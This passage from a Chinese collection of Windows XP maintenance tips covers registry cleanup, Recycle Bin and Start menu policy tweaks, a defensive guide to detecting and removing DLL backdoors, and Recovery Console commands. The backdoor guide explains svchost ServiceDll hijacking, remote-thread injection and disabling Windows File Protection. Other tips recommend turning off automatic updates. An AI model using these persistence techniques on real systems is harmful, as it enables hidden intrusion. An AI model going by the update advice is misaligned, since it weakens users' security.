　　6.如果发现有坏扇区，请选择进行修复。
　　提示:如果认为磁盘包含坏扇区，请仅选中“自动修复文件系统错误”复选框。
2、定期清理Windows注册表
　　防止注册表垃圾使用Registry First Aid这类工具。不要使用Outlook Express，它把垃圾邮件过滤器存放在注册表中。注册表的清理工具网上有很多，笔者给大家推荐两款注册表吸尘器和RegClear。但是有一点，清理前必须先备份注册表
3、尽可能不用"管理员"账户登录
　　不要总用"管理员"账户登录，尤其是从外部向你的PC中拷贝文件的时候。如果你只是用普通权限的用户登录，大多数恶意软件都不能得逞。创建一个受限帐户很简单，就不需要一一介绍了吧，在控制面板的“用户帐户”下就可以创建了。
4、保持杀毒的更新
　　恶意软件经常在注册表中制造垃圾，还会启动不必要的Windows服务，做许多降低系统性能的事情，甚至导致系统根本无法工作
5、使用专业清理软件如优化大师、超级兔子等对垃圾文件进行清理
垃圾文件的类型
a.软件安装过程中产生的临时文件
许多软件在安装时，首先要把自身的安装文件解压缩到一个临时目录（一般为Windows文件夹下的Temp目录）然后再进行安装。如果软件设计有疏忽或者系统有问题，当安装结束后，这些临时文件就会变得并不“临时”，成为硬盘里的一堆垃圾，很多时候它们以*.tmp的面孔出现。
b.软件运行过程中产生的临时文件
和安装过程一样，在软件的运行过程中通常也会产生一些临时交换文件，有些软件运行过后遗留下来的垃圾甚至多达数百兆，比如一些程序工作时产生的形如*.old、*.bak这样的备份文件，杀毒软件或系统软件检查硬盘时生成的备份文件等。
c.软件卸载后的遗留文件
由于Windows的反安装机制实在让人无法恭维，再加上多数软件都使用了动态链接库（DLL），而其中一些软件的设计还不太成熟，导致了很多软件“请神容易送神难”。当这些软件被卸载后，经常会在硬盘中留下一些文件夹、*.dll文件以及形形色色不知名的小东西，成为名副其实的垃圾。
在现实生活中，有很多初学者往往会错误地使用直接删除文件夹的方法“卸载”软件，这样就会留下更多无效的类似*.ini、*.dll这样的文件。同时还会在注册表中残存大量废弃数据，对系统的稳定造成更大影响。
d.上网冲浪产生的临时文件
我们在上网的时候，浏览器总是将网页文件下载到本地机器上，这些缓存文件不但占用了宝贵的磁盘空间，还常常会把我们的个人隐私公之于众，是可忍，孰不可忍。
e.一些不常用的鸡肋文件
比如一些应用软件自带的帮助或教程文件（常以.hlp等作为后缀），操作系统中多余的字体文件等。既然食之无味索性也将它们视作垃圾文件的一种表现。比如大量的字体文件不仅身体肥壮，占用空间甚大
6、硬件维护：保持每天都清洁硬件，避免灰尘引起的硬件故障 

 

“回收站”里暗藏的小秘密 ★ 巧用“回收站”的“编辑”菜单 如果要删除“回收站”中的大多数文件，不用费劲地将它们一一选中，可以首先选中不删除的文件；然后单击“编辑”→“反向选择”，则系统将选中需要删除的文件；最后单击“文件”→“删除”即可。 ★ 扩充“回收站”的鼠标右键功能 打开“注册表编辑器”，在键值[HKEY_CLASSES_ROOT/CLSID//ShellFolder]中修改Attributes的值，因为文件通常分为只读、隐含、系统和文档四种属性，每种属性对应一个数字，如果想让文件具有多种属性，只需将数字进行相加组合即可。其中：01:复制，02:剪切，03:复制和剪切，10:重命名，20:删除，30:重命名和删除，40:属性，50:重命名和属性，60:删除和属性，53:复制、剪切、重命名、属性，63:删除、属性、复制、剪切，73:重命名、删除、属性、复制、剪切。 ★ 删除桌面上的“回收站”图标 打开“注册表编辑器”，在键值[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/explorer/Desktop/NameSpace]中，删除。 ★随意删除与恢复文件 在“回收站”中选中文件，然后点击“还原”按钮，文件只能还原至被删除时所在的文件夹；而使用鼠标拖动它至任意文件夹中，则可以快速地将它恢复至该文件夹下。同样，如果想快速删除文件，只要将它们拖至“回收站”中即可。 ★快速找到误删除文件 删除的文件多了，不知道该恢复哪一个，一般情况下要恢复的文件都是最近删除的，因此进入“回收站”，右击鼠标，选择“排列图标”→“按删除日期”，文件将按照删除的日期一一排列，这样就可以快速找到需要恢复的文件了。 ★快速删除“回收站”中的文件 在DOS下可以快速删除“回收站”里的文件：启动MS-DOS，通过CD命令进入C:\RECYCLED目录；键入deltree/y *.* >nul，即可快速将C:\RECYCLED目录中的所有文件删除。 ★妙用“回收站”实现批量重命名 删除要改名的文件，在D盘建立一文件夹如：ren，在DOS模式下进入Recycled目录，键入COPY *.* D:\ren，所有的文件已全改为DD1、DD2……注意：删除之前要先清空“回收站”，否则文件将有可能从100以上的数字基数开始。 ★改变“回收站”的图标 打开“注册表编辑器”，找到[HKEY_CLASSES_ROOT\CLSID\\DefaultIcon]，要更改回收站默认图标：“默认”=带路径的自定义图标文件名；要更改回收站空时的图标：“Empty”=带路径的自定义图标文件名；要更改回收站满时图标：“Full”=带路径的自定义图标文件名。 ★使回收站不能清空 打开“注册表编辑器”，找到[HKEY_CLASSES_ROOT\CLSID\\InProcServer32]，将“默认”改为“shell32.dll-”。 ★不显示删除确认对话框 每次删除文件时总会弹出确认删除的对话框，若嫌麻烦可这样做：右击“回收站”图标，单击“属性”，清除“显示删除确认对话框”复选框中的标记，确认并退出即可。如果已选“不将文件移动到回收站”，则此项设置无效。 ★利用“回收站”给文件加密 右击“回收站”，单击“属性”，选择“启用缩略图查看方式”，按“应用”后去除“只读”属性，按“确定”；打开“Recycled”文件夹，复制其中的“desktop.ini”文件到需要加密的文件夹下；右击该文件夹，单击“属性”，选择“启用缩略图查看方式”，按“确定”即可。 ★改变“回收站”的名称 打开“注册表编辑器”，在键值[HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\]中，改变“默认”项的值即可。 ★巧妙隐藏“回收站” 先用图标编辑器生成一个透明的图标，或者用绘图软件绘制一幅和图标差不多大小的bmp格式的透明位图，然后把这个透明图标或透明位图作为“回收站”的图标。最后一步是给它取个透明的名字，在这里我们要采用当年DOS下的惯伎，在输入回收站名字时，按下Alt键，然后在小键盘上按255，这就获得了一个透明的名字。现在你的回收站不见了，但它确实还在那儿，双击原来位置就可以打开回收站。 ★“回收站”的另类用途 为满足我们的创造欲，还可以在回收站的右键菜单中添加自己喜欢的东西。这里以添加Windows自带游戏“红心大战”为例说明：打开“注册表编辑器”，找到[HKEY_CLASSES_ROOT\CLSID\ ]。单击{645FF040- 5081-101B-9F08-00AA002F954E}主键，在其下新建一主键，命名为 “Shell”，如果有则不用建立。单击“Shell”主键，在其下建一主键“红心大战”。单击“红心大战”主键，在其下再新建一主键“command”，修改其“默认值”为“C:\WINDOWS\Mshearts.exe”。 ★随时随地都能“清空回收站” 清空回收站时，你是否每次都回到桌面呢？下面我们对它稍微改动一下就可实现随时随地通过右键菜单来清空回收站。打开“注册表编辑器”，找到[HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers]。 在ContextMenuHandlers主键下新建一名为{645FF040-5081-101B- 9F08-00AA002F954E}的主键即可。

 

不为人熟知 WinXP最新操作技巧

　

微软的Windows Vista今年还发布不了，虽然我们使用Windows XP操作系统已经要满五年了，很多功能我们都熟得不能再熟了，但是人无完人，总有你不知道的技巧，比如下面介绍的这些。本文我们就给大家介绍一些不为人熟知的Windows XP操作技巧。

禁止修改“我的图片”的硬盘路径

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“DisableMyPicturesDirChange”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

不显示“我的图片”选项

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“NoSMMyPictures”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

禁止修改“我的音乐”的硬盘路径

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“DisableMyMusicDirChange”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

不显示“我的音乐”选项

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“NoStartMenuMyMusic”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

禁止修改“我的文档”的硬盘路径

禁止修改“我的文档”的硬盘路径启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“DisablePersonalDirChange”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

又或可透过群组原则来将达到目的，方法:

先以系统管理员的身份登入，到“开始”-->“运行”，键入“gpedit.msc”进入群组原则的设定，在“本机计算机原则”下打开“使用者设定”-->“系统管理模板”-->“桌面”-->禁止使用者变更“我的文档”路径便可。

不显示“我的文档”选项

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“NoSMMyDocs”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

限制“我最近的文档”显示的数目

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“MaxRecentDocs”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

不显示“我最近的文档”选项

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“NoRecentDocsMenu”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

停用“安全地删除硬件”项目

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“NoStartMenuEjectPC”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

不显示“我的计算机”

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum，移除{20D04FE0-3AEA-1069-A2D8-08002B30309D}便可。

不显示“计算机关机”选项

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“NoClose”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

以Administrator身份登入系统，到“开始”-->“运行”，输入gpedit.msc，点选窗口左边的“计算机配置”-->“系统管理模板”-->“[开始]菜单和工作列”，启用“移除及停用[计算机关机]按钮”。

移除“搜索”选项

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“NoFind”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

移除“说明及支持“项目

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“NoSMHelp”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

移除“运行“选项

启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“NoRun”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

隐藏“回收站“

方法:启动Regedit，到路径HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel，加入一个名为“{645FF040-5081-101B-9F08-00AA002F954E}”的DWORD值，将它设定为“1”。

修改“开始”menu显示

要修改 “开始”标题及menu显示，将要使用Resource Hacker来修改存放于C:\Windows资料夹内的Explorer.exe，由于这运行档受到Windows File Protection (WFP)功能保护，故必须先将其解除保护。

解除WFP保护方法:开启“档案总管”-->“Tools”à“Folder Options”-->“View”，取消 “Hide protected operating system files (recommend)”和“Hide extensions for known file types”，同时取消“Show hidden files and folders”。

然后到“开始”-->“运行”，输入“%systemroot%\system32\Restore”，应找到一个叫“filelist.xml”档案，点选再右按鼠标键选“内容 (Properties)”，取消“Read Only”一项。

开始正式修改filelist.xml，点鼠标右键，利用“记事本”开启档案，档案内容记录了所有受保护的重要档案。寻找“%windir%\system.ini”一行，加入“%systemroot%\explorer.exe”一行后存档。

到“开始”-->“运行”，输入“%systemroot%\system32\dllcache”，寻找并删除Explorer.exe，因为WFP功能一经运行后，系统会把某些指定的重要档案备份到这里。如果不把这档案删除，WFP功能运行例行检查时，发现Explorer曾经修改，便会实时将这个备份档取代刚修改的档案。

取消“自动更新”功能

Windows XP“自动更新”功能，自检发现有新的系统补丁便实时更新，虽然方便，但却占用一定的系统资源，倒不如自行手动更新更好，如果取消自动功能功能呢?方法如下:

到“控制台”-->“效能及维护”-->“系统”-->“自动更新”，选择“关闭自动更新，我要手动更新我的计算机”。另外，进入“开始”-->“运行”，运行msconfig在“服务”项目下取消“Automatic Updates”。

隐藏“网上邻居”

Windows XP要隐藏“网上邻居”，启动regedit，到路径HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer，寻找一个叫“NoStartMenuNetworkPlaces”的DWORD值，若没有便新增一个，将设定值改为“1”便可。

找寻在“添加和删除程序”内隐藏的程序

不是所有已安装的程序都可透过“添加和删除程序”功能来反安装，但可通过修改一些参数来解决。例如Windows XP安装在C盘内，打开C:\Windows\inf资料夹，双击sysoc.inf文件，可看到有几行的倒数第二个单词是“Hide”。就是这个单词告诉系统不要把这个条目显示在“新增/移除程序”列表内，可使用空隔键来代替“Hide”便可显示所要的程序了 

 

DLL后门清除完全篇! 前言 　　后门！相信这个词语对您来说一定不会陌生，它的危害不言而欲，但随着人们的安全意识逐步增强，又加上杀毒软件的“大力支持”，使传统的后门无法在隐藏自己，任何稍微有点计算机知识的人，都知道“查端口”“看进程”，以便发现一些“蛛丝马迹”。所以，后门的编写者及时调整了思路，把目光放到了动态链接程序库上，也就是说，把后门做成DLL文件，然后由某一个EXE做为载体，或者使用Rundll32.exe来启动，这样就不会有进程，不开端口等特点，也就实现了进程、端口的隐藏。本文以“DLL的原理”“DLL的清除”“DLL的防范”为主题，并展开论述，旨在能让大家对DLL后门“快速上手”，不在恐惧DLL后门。好了，进入我们的主题。 一，DLL的原理 1，动态链接程序库 　　动态链接程序库，全称：Dynamic Link Library，简称：DLL，作用在于为应用程序提供扩展功能。应用程序想要调用DLL文件，需要跟其进行“动态链接”；从编程的角度，应用程序需要知道DLL文件导出的API函数方可调用。由此可见，DLL文件本身并不可以运行，需要应用程序调用。正因为DLL文件运行时必须插入到应用程序的内存模块当中，这就说明了：DLL文件无法删除。这是由于Windows内部机制造成的：正在运行的程序不能关闭。所以，DLL后门由此而生！ 2，DLL后门原理及特点 　　把一个实现了后门功能的代码写成一个DLL文件，然后插入到一个EXE文件当中，使其可以执行，这样就不需要占用进程，也就没有相对应的PID号，也就可以在任务管理器中隐藏。DLL文件本身和EXE文件相差不大，但必须使用程序（EXE）调用才能执行DLL文件。DLL文件的执行，需要EXE文件加载，但EXE想要加载DLL文件，需要知道一个DLL文件的入口函数（既DLL文件的导出函数），所以，根据DLL文件的编写标准：EXE必须执行DLL文件中的DLLMain（）作为加载的条件（如同EXE的mian（））。做DLL后门基本分为两种：1）把所有功能都在DLL文件中实现；2）把DLL做成一个启动文件，在需要的时候启动一个普通的EXE后门。 常见的编写方法： 　　(1)，只有一个DLL文件 　　这类后门很简单，只把自己做成一个DLL文件，在注册表Run键值或其他可以被系统自动加载的地方，使用Rundll32.exe来自动启动。Rundll32.exe是什么？顾名思意，“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数，这样在进程当中，只会有Rundll32.exe，而不会有DLL后门的进程，这样，就实现了进程上的隐藏。如果看到系统中有多个Rundll32.exe，不必惊慌，这证明用Rundll32.exe启动了多少个的DLL文件。当然，这些Rundll32.exe执行的DLL文件是什么，我们都可以从系统自动加载的地方找到。 　　现在，我来介绍一下Rundll32.exe这个文件，意思上边已经说过，功能就是以命令行的方式调用动态链接程序库。系统中还有一个Rundll.exe文件，他的意思是“执行16位的DLL文件”，这里要注意一下。在来看看Rundll32.exe使用的函数原型： 　　Void CALLBACK FunctionName ( 　　HWND hwnd, 　　HINSTANCE hinst, 　　LPTSTR lpCmdLine, 　　Int nCmdShow 　　); 　　其命令行下的使用方法为：Rundll32.exe DLLname,Functionname [Arguments] 　　DLLname为需要执行的DLL文件名；Functionname为前边需要执行的DLL文件的具体引出函数；[Arguments]为引出函数的具体参数。 　　(2)，替换系统中的DLL文件 　　这类后门就比上边的先进了一些，它把实现了后门功能的代码做成一个和系统匹配的DLL文件，并把原来的DLL文件改名。遇到应用程序请求原来的DLL文件时， DLL后门就启一个转发的作用，把“参数”传递给原来的DLL文件；如果遇到特殊的请求时（比如客户端），DLL后门就开始，启动并运行了。对于这类后门，把所有操作都在DLL文件中实现最为安全，但需要的编程知识也非常多，也非常不容易编写。所以，这类后门一般都是把DLL文件做成一个“启动”文件，在遇到特殊的情况下（比如客户端的请求），就启动一个普通的EXE后门；在客户端结束连接之后，把EXE后门停止，然后DLL文件进入“休息”状态，在下次客户端连接之前，都不会启动。但随着微软的“数字签名”和“文件恢复”的功能出台，这种后门已经逐步衰落。 　　提示： 　　在WINNTsystem32目录下，有一个dllcache文件夹，里边存放着众多DLL文件（也包括一些重要的EXE文件），在DLL文件被非法修改之后，系统就从这里来恢复被修改的DLL文件。如果要修改某个DLL文件，首先应该把dllcache目录下的同名DLL文件删除或更名，否则系统会自动恢复。 (3)，动态嵌入式 　 　　这才是DLL后门最常用的方法。其意义是将DLL文件嵌入到正在运行的系统进程当中。在Windows系统中，每个进程都有自己的私有内存空间，但还是有种种方法来进入其进程的私有内存空间，来实现动态嵌入式。由于系统的关键进程是不能终止的，所以这类后门非常隐蔽，查杀也非常困难。常见的动态嵌入式有：“挂接API”“全局钩子（HOOK）”“远程线程”等。 　　远程线程技术指的是通过在一个进程中创建远程线程的方法来进入那个进程的内存地址空间。当EXE载体（或Rundll32.exe）在那个被插入的进程里创建了远程线程，并命令它执行某个DLL文件时，我们的DLL后门就挂上去执行了，这里不会产生新的进程，要想让DLL后门停止，只有让这个链接DLL后门的进程终止。但如果和某些系统的关键进程链接，那就不能终止了，如果你终止了系统进程，那Windows也随即被终止！！！ 3，DLL后门的启动特性 　　启动DLL后门的载体EXE是不可缺少的，也是非常重要的，它被称为：Loader。如果没有Loader，那我们的DLL后门如何启动呢？因此，一个好的DLL后门会尽力保护自己的Loader不被查杀。Loader的方式有很多，可以是为我们的DLL后门而专门编写的一个EXE文件；也可以是系统自带的Rundll32.exe，即使停止了Rundll32.exe，DLL后门的主体还是存在的。3721网络实名就是一个例子，虽然它并不是“真正”的后门。 二，DLL的清除 　　本节以三款比较有名的DLL后门例，分别为“SvchostDLL.dll”“BITS.dll”“QoServer.dll”。详细讲解其手工清除方法。希望大家在看过这三款DLL后门的清除方法之后，能够举一反三，灵活运用，在不惧怕DLL后门。其实，手工清除DLL后门还是比较简单的，无非就是在注册表中做文章。具体怎么做，请看下文。 1，PortLess BackDoor 　　这是一款功能非常强大的DLL后门程序，除了可以获得Local System权限的Shell之外，还支持如“检测克隆帐户”“安装终端服务”等一系列功能（具体可以参见程序帮助），适用Windows2000/xp/2003等系统。程序使用svchost.exe来启动，平常不开端口，可以进行反向连接（最大的特点哦），对于有防火墙的主机来说，这个功能在好不过了。 　　在介绍清除方法之前，我们先来简单的介绍一下svchost.exe这个系统的关键服务： 　　Svchost只是做为服务的宿主，本身并不实现什么功能，如果需要使用Svchost来启动服务，则某个服务是以DLL形式实现的，该DLL的载体Loader指向svchost，所以，在启动服务的时候由svchost调用该服务的DLL来实现启动的目的。使用svchost启动某个服务的DLL文件是由注册表中的参数来决定的，在需要启动服务的下边都有一个Parameters子键，其中的ServiceDll表明该服务由哪个DLL文件负责，并且这个DLL文件必须导出一个ServiceMain()函数，为处理服务任务提供支持。 　　呵呵！看了上边的理论，是不是有点蒙（我都快睡着了），别着急，我们来看看具体的内容）。我们可以看到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRpcSs下的Parameters子键，其键值为%SystemRoot%system32rpcss.dll。这就说明：启动RpcSs服务时。Svchost调用WINNTsystem32目录下的rpcss.dll。 　　这是注册表的HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost，里边存放着Svchost启动的组和组内的各个服务，其中netsvcs组的服务最多。要使用Svchost启动某个服务，则该服务名就会出现在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost下。这里有四种方法来实现： 　　1， 添加一个新的组，在组里添加服务名 　　2， 在现有组里添加服务名 　　3， 直接使用现有组里的一个服务名，但是本机没有安装的服务 　　4， 修改现有组里的现有服务，把它的ServiceDll指向自己的DLL后门 　　我测试的PortLess BackDoor使用的第三种方法。 　　好了，我想大家看完了上边的原理，一定可以想到我们清除PortLess BackDoor的方法了，对，就是在注册表的Svchost键下做文章。好，我们现在开始。 　　注：由于本文只是介绍清除方法，使用方法在此略过。 　　后门的Loader把SvchostDLL.dll插入Svchost进程当中，所以，我们先打开Windows优化大师中的Windows进程管理2.5，查看Svchost进程中的模块信息，SvchostDLL.dll已经插入到Svchost进程中了，在根据“直接使用现有组里的一个服务名，但是本机没有安装的服务”的提示，我们可以断定，在“管理工具”—“服务”中会有一项新的服务。证明了我的说法，此服务名称为：IPRIP，由Svchost启动，-k netsvcs表示此服务包含在netsvcs服务组中。 　　我们把该服务停掉，然后打开注册表编辑器（开始—运行--regedit），来到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesIPRIP下，查看其Parameters子键）。Program键的键值SvcHostDLL.exe为后门的Loader；ServiceDll的键值C:WINNTsystem32svchostdll.dll为调用的DLL文件，这正是后门的DLL文件。现在我们删除IPRIP子键（或者用SC来删除），然后在来到HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost下，编辑netsvcs服务组，把49 00 70 00 72 00 69 00 70 00 00 00删除，这里对应的就是IPRIP的服务名。然后退出，重启。重启之后删除WINNTsystem32目录下的后门文件即可。 2，BITS.dll 　　这是榕哥的作品，也是DLL后门，和SvchostDLL.dll原理基本一样，不过这里使用的是上边介绍的第四种方法，即“修改现有组里的现有服务，把它的ServiceDll指向自己的DLL后门”。换句话说，该后门修改现有的某一个服务，把其原有服务的DLL指向自己（也就是BITS.dll），这样就达到了自动加载的目的；其次，该后门没有自己的Loader，而是使用系统自带的Rundll32.exe来加载。我们还是用Windows 进程管理2.5来查看，从图7中，我们可以看到bits.dll已经插入到Svchost进程当中。 　　好，现在我们来看看具体的清除方法，由于该后门是修改现有服务，而我们并不知道具体是修改了哪个服务，所以，在注册表中搜索bits.dll，最后在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRasAuto下搜索到了bits.dll，查看Parameters子键下的ServiceDll，其键值为C:WINNTsystem32bits.dll（如图8）。原来，该后门把RasAuto服务原来的DLL文件替换为bits.dll了，这样来实现自动加载。知道了原因就好办了，现在我们把ServiceDll的键值修改为RasAuto服务原有的DLL文件，即%SystemRoot%System32rasauto.dll，退出，重启。之后删除WINNTsystem32目录下的bits.dll即可。 3，NOIR--QUEEN 　　NOIR--QUEEN(守护者)是一个DLL后门&木马程序，服务端以DLL文件的形式插入到系统的Lsass.exe进程里，由于Lsass.exe是系统的关键进程，所以不能终止。在来介绍清除方法之前，我先介绍一下Lsass.exe进程： 　　这是一个本地的安全授权服务，并且它会为使用Winlogon服务的授权用户生成一个进程，如果授权是成功的，Lsass就会产生用户的进入令牌，令牌使用启动初始 的Shell。其他的由用户初始化的进程会继承这个令牌。 　　从上边的介绍我们就可以看出Lsass对系统的重要性，那具体怎么清除呢？请看下文。 　　后门在安装成功后，会在服务中添加一个名为QoSserver的服务，并把QoSserver.dll后门文件插入到Lsass进程当中，使其可以隐藏进程并自动启动（如图9）。现在我们打开注册表，来到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesQoSserver，直接删除QoSserver键，然后重启。重启之后，我们在来到服务列表中，会看到QoSserver服务还在，但没有启动，类别是自动，我们把他修改为“已禁用”；然后往上看，会发现一个服务名为AppCPI的服务，其可执行程序指向QoSserver.exe（原因后边我会说到），具体如图11所示。我们再次打开注册表，来到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesAppCPI，删除AppCPI键，重启，再删除QoSserver，最后删除WINNTsystem32目录下的后门文件。 　　本人和这个后门“搏斗”了3个多小时，重启N次。原因在于即使删除了QoSserver服务，后门还是在运行，而且服务列表中的QoSserver服务又“死灰复燃”。后来才知道原因：在我删除了QoSserver服务并重启之后，插入到Lsass进程当中的QoSserver.dll文件又恢复了QoSserver服务，并且生成了另外一个服务，即AppCPI，所以我们必须在到注册表中删除AppCPI服务才算是把该后门清除。由此可以看出，现在的后门的保护措施，真是一环扣环。 　　注意：在删除QoSserver服务并重启之后，恢复的QoSserver的启动类别要修改为“已禁用”，否则即便删除了AppCPI服务，QoSserver服务又运行了。 三，DLL的防范 　　看了上边的例子，我想大家对清除DLL后门的方法有了一定的了解，但在现实中，DLL后门并不会使用默认的文件名，所以你也就不能肯定是否中了DLL后门。对于DLL后门，system32目录下是个好地方，大多数后门也是如此，所以这里要非常注意。下面我来具体介绍一下怎么发现DLL后门，希望对大家有所帮助。 　　1，安装好系统和所有的应用程序之后，备份system32目录下的EXE和DLL文件：打开CMD，来到WINNTsystem32目录下，执行：dir *.exe>exe.txt & dir *.dll>dll.txt，这样，就会把所有的EXE和DLL文件备份到exe.txt和dll.txt文件中；日后，如发现异常，可以使用相同的命令再次备份EXE和DLL文件(这里我们假设是exe0.txt和dll0.txt)，并使用：fc exe.txt exe0.txt>exedll.txt & fc dll.txt dll0.txt>exedll.txt，其意思为使用FC命令比较两次的EXE文件和DLL文件，并将比较结果保存到exedll.txt文件中。通过这种方法，我们就可以发现多出来的EXE和DLL文件，并通过文件大小，创建时间来判断是否是DLL后门。 　　2，使用内存/模块工具来查看进程调用的DLL文件，比如Windows优化大师中的Windows 进程管理 2.5。这样，可以发现进程到底调用了什么DLL文件，在结合上边用FC命令比较出来的结果，又能进一步来确定是否中了DLL后门。如果没有优化大师，可以使用TaskList，这个小工具也可以显示进程调用的DLL文件，而且还有源代码，方便修改。 　　3，普通后门连接需要打开特定的端口，DLL后门也不例外，不管它怎么隐藏，连接的时候都需要打开端口。我们可以用netstat -an来查看所有TCP/UDP端口的连接，以发现非法连接。大家平时要对自己打开的端口心中有数，并对netstat -an中的state属性有所了解。当然，也可以使用Fport来显示端口对应的进程，这样，系统有什么不明的连接和端口，都可以尽收眼底。 　　4，定期检查系统自动加载的地方，比如：注册表，Winstart.bat，Autoexec.bat，win.ini，system.ini，wininit.ini，Autorun.inf，Config.sys等。其次是对服务进行管理，对系统默认的服务要有所了解，在发现有问题的服务时，可以使用Windows 2000 Server Resource Kit中的SC来删除。以上这些地方都可以用来加载DLL后门的Loader，如果我们把DLL后门Loader删除了，试问？DLL后门还怎么运行？！ 　　通过使用上边的方法，我想大多数DLL后门都可以“现形”，如果我们平时多做一些备份，那对查找DLL后门会启到事半功倍的效果

 

微软在Windows 2000和Windows XP中，提供了故障恢复控制台。它是微软推出的一种全新的控制模式，用于在安全模式和其他启动选项不起作用时修复系统。

　

故障恢复控制台的作用：可以启用或禁用服务、格式化驱动器、在本地驱动器上读写数据（包括被格式化为NTFS文件系统的驱动器）、重写硬盘的主引导记录（MBR）、重写分区引导记录、恢复启动菜单等等并执行许多其他管理的任务。如果需要通过从软盘或CD-ROM复制一个文件到硬盘来修复系统，故障恢复控制台将特别有用。

下面以大家用得比较多的Windows XP为例，一起看看怎么用它。 启动故障恢复控制台

　　方法有两个，一是从安装光盘启动，二是从硬盘启动。

　　插入Windows XP的安装光盘，并且在BIOS中设置为优先从CDROM启动，启动电脑以后，系统会自动进入Windows XP安装界面选项，按下“R”键选择第二项“要使用‘故障控制台’修复Windows XP安装，请按R。”系统自动登录到故障恢复控制台。

它会自动找到已经存在的系统及其安装目录并给予编号。此时提示，问你需要修复哪一个系统。这里只有一个，如果是多个，会把它们都显示出来的。

选择了要修复的系统的编号后，控制台会提示输入该系统的管理员密码。这个可千万不能忘记哦，否则将无法修复系统。

密码正确后，就真正进入了控制台，可以发号施令了。那么，不知道都有哪些可用的命令该怎么办呢？

答案是 HELP 命令。在控制台提示符下输入 HELP 回车。如图，可以看到控制台命令的第一页。看屏幕下方提示，按空格键后就可以显示下一页命令了。

但是知道了有啥命令，不会用怎么办呢？

答案仍然是 HELP 命令，只不过这次是在 HELP 命令后面跟上你想了解的命令就可以了。在此顺便讲几个比较常用的命令：

FIXBOOT 命令的使用格式的帮助，该命令用来修复分区引导扇区。

另一个常用命令：FIXMBR ，可以修复硬盘主引导记录。 还有BOOTCFG ，这个命令相对于 Windows2000 来说，是 WindowsXP 独有的，它可以修复启动菜单。

比较有用的命令还有 format，对于用 DISKPART 命令建立的新分区，可以用它来格式化为 NTFS 和 FAT32 格式。所以不要把它和 Win98 下的 Format 命令等同。

diskpart 命令，可显示出分区信息，并对分区操作。需要指出的是，很多人把它称为 FDISK，这是不对的。尽管它和 FDISK 的功能差不多，但它的适应性比 FDISK 要强，功能也更方便。比如，不必特别地去激活主分区，默认就是激活的。也不必在删除主分区以后才可以删除扩展分区，可以直接对逻辑驱动器操作。它还有直接对 NTFS 分区操作的好处，而这对初学者来说尤其重要。等等。

故障恢复控制台命令全攻略

第一部分：文件和目录操作命令

Attrib

　　更改单个文件或目录的属性。该命令设置或删除指派给文件或目录的只读、系统、存档、隐藏以及压缩属性。
　　含有下列参数的 attrib 命令仅当使用故障恢复控制台时才可用。含有不同参数的 attrib
命令可在命令提示符中使用。

　　attrib [ +r|-r] [ +s|-s] [ +h|-h] [ +c|-c] [ [ drive:] [ path] filename]

　　参数
　　+r　　设置只读属性。
　　-r　　清除只读属性。
　　+s　　设置系统属性。
　　-s　　清除系统属性。
　　+h　　设置隐藏属性。
　　-h　　清除隐藏属性。
　　+c　　设置压缩属性。
　　-c　　清除压缩属性。

　　[ [ drive:] [ path] filename]

　　指定要处理的目录或文件的位置和名称。可以一次只更改一个文件，也可以更改整个目录。

　　注意：可以用一个命令更改一个文件或目录的多个属性。

　　Batch

